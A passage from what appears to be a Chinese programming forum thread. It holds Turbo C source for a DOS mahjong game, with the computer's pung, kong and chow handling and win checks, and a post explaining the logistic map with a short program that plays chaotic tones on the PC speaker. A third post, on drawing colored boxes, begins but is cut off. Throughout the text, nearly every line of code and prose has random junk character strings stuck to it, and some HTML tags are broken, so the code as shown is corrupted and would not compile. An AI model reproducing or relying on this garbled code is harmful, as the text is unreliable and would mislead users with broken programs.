0 n1 L5 i% y& Z  M- w' f1 hy1=165;
, a. v6 x# |7 \/ D" N" u5 ffillRectangle(x1,y1,x1+20,y1+4,0);) N) W: y/ _; ^6 `1 F9 e9 f4 P
}4 O# c' V; r9 B. U
if(every==9)
8 |' B- d3 I0 U5 f{
8 F: v4 T" {+ Y# C) Q9 Ex1=200;. v/ c. ~: K. k3 ?/ A6 v# [
y1=165;  H  m% }+ Q* x: \! T% G( Z
fillRectangle(x1,y1,x1+20,y1+4,0);
; I  M- r; ]1 N1 p  ~% I2 X}) v  O& F4 o. L1 ]8 w' x
if(every==10)8 F: q6 H8 R2 u2 m2 o4 ?0 i
{
- g4 h  g4 ^! z" a5 dx1=220;4 @" ~- H) w( t$ X' ~6 h- r9 W
y1=165;4 @$ O  m. W; q
fillRectangle(x1,y1,x1+20,y1+4,0);
1 q+ g+ m5 {/ j4 a# Y8 g  n. f2 d}
! U" I4 l& m* ]( a2 i% t% R/ xif(every==11)
& k0 r0 S! f9 Y; g& m( o{
7 Q' |0 N. y5 q, S; M: r+ E' c; D; [x1=240;1 n* H8 U( M& f5 r" k& Y! i" d/ A
y1=165;
( s0 a) {0 o9 [fillRectangle(x1,y1,x1+20,y1+4,0);
* i9 t& L) m' \4 H1 U; f}
: W6 w9 h+ _8 M. ~% kif(every==12)  s+ B' |3 v2 e6 F" E
{" v2 v( u  {5 P) h0 T# g
x1=260;# y6 L- m3 L4 w( y% u' o% n6 I
y1=165;6 J* B1 B& D; \! A
fillRectangle(x1,y1,x1+20,y1+4,0);
" w4 {' d6 V' D% v) E0 m4 E8 Y}
" i" Z  v* P9 G$ m* {: ~' O- d1 a
. n2 z$ o/ E& G! r3 R* vzz=0;/ i6 D' `2 |& c. j
every++;2 [9 ^2 e+ w7 y- v( |8 g: `/ R
z=z+20;
4 c) [. S7 p* X7 Z9 L: E4 e4 N}
2 a. {* T# b% t# ?* l, pshowbmp(every);/ G) m( ^# n1 f# o
key=keyy;6 q% y& q5 F; k  I' n$ T
if(keyy==ENTER)  [7 T, t: ~) ]; X3 b) }1 T, E
{
: U+ k" u& I1 l$ _! C9 Urgzn(every); /*********************/
: G/ ]# g) Y4 {# S( L* V& w' kif(sing==1) /*如果可以乓,做相应的处理*/
; x. v& h  g% u$ c{
, N* C- K# x  lkkk=0;
& o5 w; w8 f  u* Kkkkk=0;! `% K; V0 `5 f: ?, |
while(kkk&lt;=computer.m)
9 ~4 o2 o: m2 f$ t{
6 h& D/ @, S1 }+ Aif(computer.pp[kkk].p!=1)2 }  O" ^& U/ Y" o3 j6 s
{
8 L2 X. T& a% [: t- \comp.pp[kkkk].k=computer.pp[kkk].k;* d; m0 j; Z/ J9 ]$ s  v+ ^8 ?3 W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
) i2 J& a6 j. o3 e4 d, mcomp.pp[kkkk].number=computer.pp[kkk].number;, z* `7 r8 j9 l' G3 G6 a
kkkk++;
- ?/ a  I/ h2 s0 \6 e6 @: D# [  [}
1 P# v- \1 j0 Belse
# Z* v3 ~% `0 w; Z# q{
- w, m& i+ \0 S4 d- Mm[computer.pp[kkk].number].data1=1;
$ O. ]0 P9 a. ?dwei=computer.pp[kkk].number;
+ C& u$ `6 v. Ocomputer.pp[kkk].p=0;
2 n5 [) i* W& \# i8 ]9 ^}
1 c5 h4 k- `! \5 h/ Bkkk++;" ]+ c7 W5 m5 J1 S! O) h: c
}
. O+ Y+ Z# k8 P2 Zll=0;
6 q' e, O  |# p9 X: {/ e* s  y9 ?- i0 \- B: ]
while(ll&lt;3)* \9 ~% O3 M# F* @
{ zl=zl+20;2 |' ]$ ~9 h8 p) c6 f
bmpp(dwei); /*显示乓的牌*/5 H% O& @; X! G) R! h
ll++;
3 C1 w7 U* @' S5 }! Z7 n! s}
) ]2 W6 J1 O0 i. P8 q1 f" q" {
( p4 r  q) H. n7 Y0 X) P3 R, t- N1 Hzl=zl+9600-60;
/ u" u8 S4 u& T% v9 `kkk=0;
# `$ M( S( s/ z8 E; f( @$ ?computer.m=computer.m-2;
. y* N# |% Q* }while(kkk&lt;=computer.m)
; E5 |1 X' S1 X; @- K{5 ]5 y) G4 g, b
computer.pp[kkk].k=comp.pp[kkk].k;
' Q$ B+ w2 T+ x( q: O: Lcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
) F2 c' u/ |) v' m( D2 E3 Xcomputer.pp[kkk].number=comp.pp[kkk].number;
* f! b$ ]' D% J. d* {kkk++;
# z  Q" v4 u4 M% F6 V% l1 y}
5 w# ^  D* V4 j2 a, `! ill=0;6 q* k  d0 T$ a% [
temp=random(computer.m); /*出牌等待完善*/
& \+ }/ \  t* m5 O, `% j; z8 Hzyy=zyy+9280+20;
. c1 r/ E) G- ?, J* C/ eshowcbmp(temp);
+ {( e$ |) e) Qzyy=zyy-9280;) k4 Y3 B$ O. M4 ^5 T/ t
/*****/. b2 k$ a9 i5 ]2 J, w
rgznme(temp); ! L' a$ H+ H9 F3 \4 E- b
panduan();
7 g$ ?! j( |3 O# M& {, Gif(me.m==0)$ |4 u% ~* h# Q+ W; ]
if(second==1 &amp;&amp; threes==0)& Z4 Z3 {* m+ n
printf("you win!");( f5 o, R* d8 t, _0 |1 e: A5 h
if(me.m==3)
3 ?( m1 f0 Z( @3 s% J5 yif(second==1 &amp;&amp; threes==1)
" q& m  L1 ~; Y# e6 [; g+ @7 Pprintf("you win!");, N- u# r* ^1 a/ [/ T9 q
if(me.m==6)7 S; y! V7 `+ a; [' ]0 W/ {/ }" D3 K
if(second==1 &amp;&amp; threes==2)
5 z( r' c- i) }$ ~, zprintf("you win!");; |, z5 R- b+ f* W6 V
if(me.m==9)
% q0 H. W" T6 x: `if(second==1 &amp;&amp; threes==3)
2 {/ }/ z% H8 a/ v- hprintf("you win!");
9 E6 Z- a* A+ Tif(me.m==12)4 k* @7 h9 \& ]! @5 o" x) j* m
if(second==1 &amp;&amp; threes==4)
( O& x( v7 ~# ?2 M! Eprintf("you win!");
* S3 ^! Y8 s; O: S
& w& j  q" e; R5 v% ~kkk=0;, o" I6 l7 h1 F# Y' c6 y5 G3 c
kkkk=0;9 {" V0 F' q; [- D
while(kkk&lt;=computer.m)$ f: F, m& l, ]; A( ?% B9 S
{; D" W2 j& ^2 \: s- U
if(kkk!=temp)$ N; G" E; C3 @: w! b
{/ x& b* ^$ Z# h+ f1 P: u
comp.pp[kkkk].k=computer.pp[kkk].k;8 k* w* E; K$ _! X: ?
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ G; E, G6 Y+ S0 A0 T3 L1 A8 W5 _comp.pp[kkkk].number=computer.pp[kkk].number;
! U; }0 P) q4 mkkkk++;
' z* p( U4 m4 ]4 K) X; A. l}8 D  H' X4 J# C
else& f. Q, n$ a. q1 t
m[computer.pp[kkk].number].data1=1;2 G1 P. T$ m: v  w
kkk++;" ?5 t9 _, {2 Z, F% p* C" h
}* y" v/ k, M& y" {% _
kkk=0;
7 O5 b, L3 @) }* xcomputer.m=computer.m-1;
' j4 E" s1 f& _$ a% \' lwhile(kkk&lt;=computer.m) 4 [0 g  P. _: n4 ?' i
{
! k0 t& U; l$ b7 E/ j) i: J2 S2 Vcomputer.pp[kkk].k=comp.pp[kkk].k;
4 n3 K% x$ v$ M# `4 ~2 wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# Y% m0 `/ H& L, z" h9 T# `
computer.pp[kkk].number=comp.pp[kkk].number;
  ^3 V  @" e" \3 V  _$ d) Gkkk++;' I) k! Q# \( h4 S% z
}
/ O: _' Q9 W% G% k; r4 M  d9 x  \: ]! [fillRectangle(0,0,320,30,0);
  {9 s2 F9 [. Q. M# Z/ kn=computer.m;6 y3 z* \8 [* E9 |% ~8 G
ll=0;
, @% [$ l8 T7 l7 n+ S8 Jzy=0;- j4 e. c, j+ `: s$ @& W
while(ll&lt;=n)5 G5 Q8 w3 m) u# V$ Z
{& `  N, R) V( M0 M' l" o& h
zy=zy+20;
/ v1 \  ]$ c, s1 b' B2 ?' e! G9 mshowybmp(ll);
) S( }2 J- L7 e0 [" E# }ll++;
. }* E  s4 j6 k) @8 P1 H}
  _& d0 r. l& U* y/ M1 A: N  n' ?ll=0;
  @& s& u& j& X$ p8 p( ^getch();9 d' Y4 `( H' l0 S
sing=0;
& c1 w+ u. M4 Z8 Y8 Bsing1=1;( ?, e1 z! `  T) L7 [
}9 R0 }% `, L9 w4 R6 V$ m4 p/ e1 D

5 q* S% v1 J+ ^' rif(sing==2) /*如果可以杠的做相应处理*/1 {" t+ A6 T6 [5 O( ^) n+ d
{7 F# d- d4 B# f" V, I' M  s/ G
kkk=0;
. G$ M% S- C) kkkkk=0;
1 m: t' q$ K1 z+ M: C, M" cwhile(kkk&lt;=computer.m)0 `) P! Q; p7 r0 Y, _( U5 f) C
{( f/ x+ Z. ]8 E) V, I3 ]: f
if(computer.pp[kkk].g!=1), k# x: T+ c. T/ J4 K6 f8 B: r, x! O
{/ M' E1 M: m9 |  s  {
comp.pp[kkkk].k=computer.pp[kkk].k;
( S' V  d2 ]3 p; M1 c2 n& Gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
5 W$ ]/ h8 P! b, X7 i1 ccomp.pp[kkkk].number=computer.pp[kkk].number;$ _9 W0 `, L, K
kkkk++;
2 L/ f( z; N4 A9 t}
5 z' n+ ?2 `& [2 T5 relse* ~% O# v' t8 Z! r
{
8 I; c; P! J) fm[computer.pp[kkk].number].data1=1;
$ E$ `) ^( y$ u  C% l$ Mdweig=computer.pp[kkk].number;+ k3 T* C. q4 g1 @* S% L% |
computer.pp[kkk].g=0;
- B, i  O' w& t) }# r& i, }}$ ~# ^# R6 t% e/ p+ U* @: \+ `2 g5 d
kkk++;
2 K5 ~  D9 Q, w: y; `" F9 Z. b}, G( }1 i- A6 P
ll=0;
5 P4 i: u  u3 f  i
' [9 `) B0 c( {, {0 k, u' Rwhile(ll&lt;=3)
, g9 w8 F, V+ T1 A4 X# [$ F{ zl=zl+20;
  d& ?4 L4 ~9 H8 zbmpp(dweig); /*显示杠的牌*/
& j* e. E2 J6 hll++;6 g9 p/ y+ L, h7 o7 A( q
}" |& {6 n: K% P7 _; C- c- `2 }" ^: W
zl=zl+9600-60;
& t/ l1 {8 a3 D* g9 mkkk=0;( n$ T  K$ F1 p# q5 d
computer.m=computer.m-3;
3 ~, [# A- k2 _2 w% Awhile(kkk&lt;=computer.m)( w4 L) H$ L) L/ r
{# `, g( ~: y- f5 d
computer.pp[kkk].k=comp.pp[kkk].k;: ^) ~' e6 G* u0 V) q) o! h  |
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
+ J7 v6 u2 f! H. Ecomputer.pp[kkk].number=comp.pp[kkk].number;
4 A8 D" Z# L- S% E: i+ r9 W! akkk++;' w2 }/ `0 @# k$ @" k
}
$ ?$ @, S% S2 e( Hkk=0;- o; `. {7 E9 t( f( {
computer.m++; /*加一个牌的容量*/
' H- z# q  E! C' a- ~while(kk!=1)
3 z1 g% ?4 o' N; G; ?* k$ w, o{
# h, S7 G4 T2 C8 M* Otemp=random(136); /*出牌*/1 l9 }7 d* f# s0 y- X
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)5 _5 Y( C! t# t' k, J
{- c" ?, s" n; b: f4 V, E" r, W6 G
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
! t6 b/ x* d3 F+ D5 P4 K5 lcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/; H% w* C, \* q, ~( B
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
! E) }; r) {# L% F+ ?( dm[temp].data2=2; /*判断牌是谁的,2为电脑*/7 p7 y3 Y& q! t6 ~
kk=1;! ]4 V7 `* V5 r+ m9 t+ Y! }
}
9 w  y/ E# [- @- w}- z8 j2 G0 t% q$ i2 R* H: k0 K4 y" _5 s
comlipai();
9 u4 I6 _( R: otemp=random(computer.m); /*出牌,等待完善*/
- ?7 N5 M" {! H- @/ Jzyy=zyy+9280+20;9 d$ l3 O0 c- e. x* L: \! u
showcbmp(temp);3 q  o  G- ~+ v0 u
zyy=zyy-9280;; ~( w) x' T" x* {+ B9 n
/*****/3 O# M4 L5 A! `! k5 G3 b8 ^( O1 F' a
rgznme(temp);+ S$ O: e( S& h$ ~* f& ?
panduan();
1 ]& `+ ]0 e" [/ mif(me.m==0)
2 q4 f" {3 C1 L# b1 t! K% G, Sif(second==1 &amp;&amp; threes==0)( w$ c7 ]) V1 F# A4 r/ P
printf("you win!");
- V- k7 M8 g$ fif(me.m==3)
) N( Z, U4 }& y, P) qif(second==1 &amp;&amp; threes==1), S6 {) {2 g, W  s
printf("you win!");
. U$ e$ D3 t$ _& S0 u% tif(me.m==6)" n* `% v/ M, t3 S/ `3 P
if(second==1 &amp;&amp; threes==2)% ^) @) x, j3 Z% J: u
printf("you win!");4 C+ L4 Z0 ]: r3 E5 Y* Q: e
if(me.m==9)
' x7 k0 ?* q" Z2 bif(second==1 &amp;&amp; threes==3)+ ]; q4 u( B5 {4 {/ Q( H, p9 v. X
printf("you win!");' R6 R- L/ H; q  I; }' _2 J
if(me.m==12)
* q9 }  @. Y0 v# F0 ?if(second==1 &amp;&amp; threes==4)
# K9 A, J& x4 |8 i6 E. ~  Dprintf("you win!");/ y5 w; D% ^: g4 y  n

- h( Q' K, E# v0 }' Jkkk=0;
: o1 W$ `% V) `7 d* w) B9 w# nkkkk=0;1 ]5 C) [. ?& m. s! T1 [
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/, t5 p2 K( `- s0 ]; I  j2 b
{
  m4 m+ U; u1 l3 A& U" _' Pif(kkk!=temp)5 ?! g& `/ M! R7 _8 l
{
8 i' D: y% u/ B6 L- L* Q4 u) A# Tcomp.pp[kkkk].k=computer.pp[kkk].k;4 H4 C/ f  |& `0 T# C
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# P8 n: c5 c: Z( c
comp.pp[kkkk].number=computer.pp[kkk].number;
: G; f  t/ \* z  n" K( a, S1 Bkkkk++;
+ N1 G  S4 H6 J9 f" t}
5 i3 q1 W* z0 }else2 y# [% A" {- ?% v+ h  E. I
m[computer.pp[kkk].number].data1=1;. w- _4 e4 Z* ?
kkk++;$ g) ]# G2 n7 w  V
}' G; I- _" B3 [' k* d" u
kkk=0;
4 E. D6 }+ e& h$ h' ycomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/$ R% G6 W" g5 c, r+ {+ b1 d  \, b
while(kkk&lt;=computer.m) - P; m, B! b( ^9 D. b9 d1 j
{
( P+ V; F& q" t) W* _, ~; n% Acomputer.pp[kkk].k=comp.pp[kkk].k;, k: o7 {: R) d, u& _  V
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# q( k6 D8 l5 Y7 J0 O' i
computer.pp[kkk].number=comp.pp[kkk].number;
9 A4 P" J( k" y4 skkk++;
4 {5 b3 ~0 k1 i; q: u; d}6 R. Q+ j) {) c0 r. D
fillRectangle(0,0,320,30,0);9 ~6 s4 }6 a* M
ll=0;. S4 k! v9 F% L
zy=0;# r- l  p) j# E
while(ll&lt;=computer.m)# Q6 X' e; y+ B- k  D' p+ P
{
( Y5 G$ A5 {6 z9 Izy=zy+20;. c$ a7 b$ [4 @
showybmp(ll);
# s2 ~4 x3 l, {0 b& f3 u7 a) Gll++;" D' n, m' U' P2 k( A) ~* l7 W
}: D! e7 U) G% r$ a( i
sing=0;, c4 [6 f, ?/ C7 H4 m
sing1=1;
6 o$ S6 y' |6 R  e1 s}" u; W, ]0 ?0 M( v% m  M
if(sing==7) /*如果可以吃的,做相应处理*/; K7 A5 P  N. y# m7 L
{ nn=0;/ c" n" ]! x! P8 W. F- S
kkk=0;; ?, j$ k! f! i
kkkk=0;
: e" r! A4 Q8 H3 M7 Y: {while(kkk&lt;=computer.m)
; W# v4 v% r2 k# D2 s+ C: B1 R{, J; m: z8 V1 {" d7 |
if(computer.pp[kkk].c!=1)
; F  D7 f2 O- j; W; G{( t$ X0 V7 X/ b+ P
comp.pp[kkkk].k=computer.pp[kkk].k;
$ B8 u6 o& n# h! e) Q0 x8 pcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: L2 ?2 X+ k$ |, X; Hcomp.pp[kkkk].number=computer.pp[kkk].number;
0 i/ k! s8 ]2 q& Nkkkk++;
; f* Z8 j6 a( v& \8 T- H0 O}; s/ I% }6 Z$ x; a' }5 |8 x
else
* G& H& s6 r( B0 X{
  H- M' v+ s# A! C+ a7 N8 I8 Q- W% @m[computer.pp[kkk].number].data1=1;9 c, H; v+ b( e5 r) V7 }
dw[nn++]=computer.pp[kkk].number;
, A. {- A, _  icomputer.pp[kkk].c=0;  p2 F/ U% e7 L. ^  Z5 q! a
}
. y- w0 m; e8 W7 n4 V1 nkkk++;
, Z- |3 D. r. X7 u. I}* }; j  S( ^1 J! M9 r
3 t: P+ x6 O7 Z7 D
if(me.pp[every].number&lt;dw[0]); F' M* g$ f. {% h. I* |. h( W5 Q
{
: g( b" p4 e$ l# W5 J! T0 Idw[2]=dw[1];5 t. |+ X' r; G3 t: Y3 c/ H
dw[1]=dw[0];+ ~' W' _" X. W. G
dw[0]=me.pp[every].number;- w- Z. f# H) @5 f  d
}1 @* o% L; N% }) j1 I0 P
if(me.pp[every].number&gt;dw[1])0 |: h3 {+ Q. {; S* M
{) v6 `1 U2 g- H1 w0 v
dw[2]=me.pp[every].number;
! N3 v5 @7 C* F}
4 {1 M8 V: e8 Y( X7 _  @& V% O8 oif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])+ e6 ^8 V: l, _1 a) q- W3 x
{
1 J5 y1 A! r! @# adw[2]=dw[1];9 [/ F5 e/ i3 y- ?
dw[1]=me.pp[every].number;
" b& z, i7 c, V: c  V! A0 \6 S}
5 E# P# I0 V0 n5 nnn=0;
1 O6 Y' d7 g* n& \) L4 ywhile(nn&lt;3); T) f1 A$ N. C
{ zl=zl+20;5 X- R5 v+ |- v
bmpp(dw[nn]); /*显示吃的牌*/1 d7 Y* _% b2 V6 x2 s, d7 o  q
nn++;! t' D- U% a0 ]: Y, F- V
}
) J  [$ X  }% C$ }. y2 s# xzl=zl+9600-60;+ w, G1 u/ [9 H" E
kkk=0;  a0 |5 q/ x4 E2 e. J
computer.m=computer.m-2;
. N- b& U* }0 o3 r; Gwhile(kkk&lt;=computer.m)) \8 |4 o3 W# ?0 I0 P2 O1 E! d5 F
{
( q2 d% r, m: }. `3 M1 Scomputer.pp[kkk].k=comp.pp[kkk].k;' _9 A6 Q7 N# T; _
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;( |1 F) x5 q- _; J" {: R
computer.pp[kkk].number=comp.pp[kkk].number;4 `+ O% W+ i3 y, C5 v
kkk++;
6 d$ |, r' R7 e  Y& }, l}
# M& m7 _) a4 T5 A9 `ll=0;
$ q. j  j% t- y. }temp=random(computer.m); /*出牌等待完善*/
! Q& |7 q0 x' S% ]zyy=zyy+9280+20;
  q! g$ _$ v5 M8 i$ e4 }showcbmp(temp);
0 r& m3 u# m0 o* Z3 y# Szyy=zyy-9280;+ D8 o! D6 z3 m3 Z; ~
/*****/; c! U2 n. r# l! d0 m/ U
rgznme(temp);
: _, ^( |/ h4 j1 b5 `panduan();4 q8 J; ?5 `' h# |/ Q6 e
if(me.m==0); x9 m' M7 w; j" z4 A, X6 F1 i
if(second==1 &amp;&amp; threes==0)
; Y- d  a" ?- U  d3 ^8 Sprintf("you win!");! I9 _5 o  Z5 e# m
if(me.m==3)' t3 ^2 w% k+ p8 W, t' b
if(second==1 &amp;&amp; threes==1)
' o2 n4 M9 r. U. h: c! z0 `# Sprintf("you win!");) w0 f6 G9 ?, H
if(me.m==6)
3 Z/ ?# E- v8 \  @if(second==1 &amp;&amp; threes==2)2 q5 a+ F% ]2 g: e5 x
printf("you win!");9 H- Q& u9 P  P* h3 D+ Y
if(me.m==9)
1 [4 G6 B6 \: K1 X6 }if(second==1 &amp;&amp; threes==3)
& Z  E* r4 J& U0 x' ^* X/ G/ dprintf("you win!");$ B. ?5 O7 r( Q! k
if(me.m==12)
8 O4 x' U0 P+ ?5 k' qif(second==1 &amp;&amp; threes==4)
3 Q4 J. x% T2 |) l: Cprintf("you win!");
& ]9 ~: A# j+ T# l+ T& ^+ ~9 C/ M& K0 N$ N9 ?
kkk=0;0 k' ~& R/ r9 @* i/ I8 X4 N4 @
kkkk=0;
2 \1 W- ]) l  E# l5 Vwhile(kkk&lt;=computer.m)
' q! l2 v; o- T{
' V4 Q0 r" t! F$ D9 g: o6 j  nif(kkk!=temp)( e% H9 c! z' [# i( {, q: e
{6 q9 k0 q, k" m0 X) c5 O/ J! b
comp.pp[kkkk].k=computer.pp[kkk].k;
( U% Y; C* q4 g* `8 i( ?3 n7 |4 W% ?comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ q* k# x: \2 p2 I3 T0 t1 h
comp.pp[kkkk].number=computer.pp[kkk].number;
4 i+ ~+ p' M7 p/ k" O' Z& |kkkk++;, D- G' @* o$ O3 g1 u* q
}
+ n, j; Z. K; f/ S; y9 gelse
% W- ]$ g8 I3 V1 A7 s  i9 fm[computer.pp[kkk].number].data1=1;
; ^  O; |8 D( z' Y% g+ vkkk++;4 [( M) X- ^9 g. H" k& G% v
}8 m# z6 u8 i7 x: d* e6 J, W( o
kkk=0;
* A! Q' h! V' R8 f7 O) ?6 Q+ pcomputer.m=computer.m-1;
! h$ m# y7 T0 x8 I0 _0 dwhile(kkk&lt;=computer.m) 1 N" U$ J1 @  W- Q0 A7 @
{
" w( o# X) ^. t  ~* L% X* @computer.pp[kkk].k=comp.pp[kkk].k;: f6 Z4 i6 i# H% ^# D6 _
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
6 A+ F- h. g% i9 r+ l2 Wcomputer.pp[kkk].number=comp.pp[kkk].number;
7 B( {1 _7 D% u3 }0 Y% V) r" Pkkk++;* q  A8 U/ [2 ~( U
}
' f- z2 G! x# H) M- I, yfillRectangle(0,0,320,30,0);
! a" u+ Z  u6 I- [n=computer.m;0 E" v, T  o1 T' j; k
ll=0;7 w# |' o  ^; c+ e
zy=0;! u( `5 C3 B. m% v
while(ll&lt;=n)& D: r8 G# }/ {* E) {& M
{
& T- d9 V2 k3 j  W6 pzy=zy+20;
# ^+ H5 ?& q' ]; E# h8 Z7 K7 w5 }showybmp(ll);
+ `# ]+ |. @( c# i8 @6 ]ll++;. v- s9 Y9 ?+ B' o8 M2 L9 E* o
}9 t0 p3 B! k" {
2 D! N# l& A0 V8 w/ u
getch();
4 L4 z# e( Y4 v7 q# fsing=0;8 \" W% Z7 {8 H. P+ c; D
sing1=1;
; u/ }, \% K2 Z( W0 i  }}0 v( R; W2 ~, i2 l  T
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
- @  C* T- |8 T% o6 C7 y{) |( `( y' ~8 v  a- T' h
kk=0;
) H% h9 [1 e% h  kh=me.pp[every].number;: v1 W0 ^, y# q
m[h].data1=1; /*此牌已经无用*/  t7 J5 K! E. P4 w8 `5 t
if(sing1!=1)5 A- B  K0 Q4 j' l% n5 Y
{
1 a5 I5 u9 F8 K3 Jzyy=zyy+9280+20;3 h# _/ b8 Y$ S- E0 }( F( }
showbmpd(every);# \; x1 l- }5 l- j3 t
zyy=zyy-9280;/ L, d# `9 L$ a) E- u
}
0 ^$ t$ b3 T0 |! t& [; _while(kk!=1)
  ^$ b' ?8 I4 e/ X{0 T2 {* H8 h, V
temp=random(136);
% `& v# c& O" p5 c: p, H8 r8 gif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)# o( K4 f, M: m' k
{+ E% k' {4 ]* B% ]" e$ C: |
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
( o' m. P  _# Mme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
) Q9 w! N4 V4 g4 b+ l4 T9 z% ume.pp[every].number=temp; /*第几张,用来排序*/
9 |' {4 J$ A% r) R& W; ]3 A. T1 r1 V/ Y3 dm[temp].data2=1; /*判断牌是谁的*/. {$ n! w1 V1 {! O7 O9 s# Y4 g
kk=1;5 X& z8 C' V% R' Z
}8 L: c9 r- V6 w' \: j* i
if(kk==0) /*判断如果又选择了,就从新再选*/
* `2 a' a& j9 k& W" O/ Ikk=0;, S+ b7 Z; S. _3 F
}8 D$ X6 W  |$ z5 H% m! w
}2 m% o, q* o7 K6 f! N3 c" t( U
sing=0;
# x% j5 ^6 U# Ssing1=0;2 ]0 j: C; ]- n3 B* U. h
melipai();* H- @- ]+ o3 e
n=13;
5 \, B: h+ K/ X4 O" i- qz1=54400;; w$ I, L6 M: |% A
l=0;
" E* V8 I: a9 E! \g=z;8 |4 t: b/ x( Y6 [6 B
while(l&lt;n)
$ H% [9 ^/ p/ |' @2 d6 Q5 q3 s( x{ z=0;
; g) ?7 e* X2 V% n1 ^- hz1=z1+20;5 U& c% j) a' ]2 l( V' T
showbmp(l);
8 c6 [( Y7 `) H+ `; N- k6 Z* Kl++;6 M0 G( }8 C5 R( y8 `
}, [  [; t  R2 W7 s+ ]; V7 B4 b+ _
z1=0;
# A" Q  Z, |# ^2 K2 q" ^6 X. `9 ez=g;
5 {+ {& b/ r" G0 k; S2 T}
: f( j) f* z( \$ K) c( Lkeyy=0;. I& {* g" U6 ]& i4 r8 [
}
# A3 P0 F+ [* b* x; ?! L9 \( v3 h- M) x
getch();
% p# A/ E. @9 E/ QOUTVGA;' g( P& o% B* w! a. h
}
0 t4 Q( O/ C9 t( N  B</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])5 U9 Q+ E% J2 {" @# `% Z( p! O
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
' Y; ^9 @, I. ?$ z3 n% d, j9 ~1 _# o6 l
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
7 d9 {. Z) D! {: v# G  <FONT color=#009900>#include <DOS.H>' J/ `/ o0 d1 M5 W; q& L4 R# _
  #include <STDIO.H>
6 i( Y0 W  H2 W! }  main(){) ^7 q# ?9 P& r5 B
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
+ o0 D4 B7 J. @, J  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/! d8 e1 C0 Z* X5 ~0 e9 o9 y
  /*i,j用于循环记数*/4 R0 j: Y) h4 S
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
) Q) l4 g6 t6 r5 u+ Q# l8 D: C  fDis=fMax-fMin;. e  [8 K3 Q+ H8 P( w' S/ w- b
  for(j=1;;j++){
  g' S6 J/ g+ k( F( F  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/, e( {7 w3 r+ I0 n. T) e
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
* M; H0 m' O; R/ G7 Q% C  scanf("%f",&k);
& E4 i+ k  \& `/ k* Y  if (k==0) break;
' _5 O! A+ d; o# w- {  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
2 I1 a8 v- M: R) d( m" u5 x4 W  x=k*x*(1-x);
7 w1 s9 |" t8 T4 J& @' |- z  for (i=1;i&lt;100;i++){
, ^' @5 c) X' j  x=k*x*(1-x); /*计算x的值*/7 t9 B# \6 d1 x
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
  N% d' t+ y& o0 N* \  delay(1000); }4 W4 K. B4 P+ o8 c* U: \4 A
  nosound(); }}8 D3 D% v1 B$ _, o& y/ m+ S2 L- g
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。# c2 T1 u( S% s3 S
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
6 w9 o7 Y  m* L0 f. k<FONT color=#009900>/*
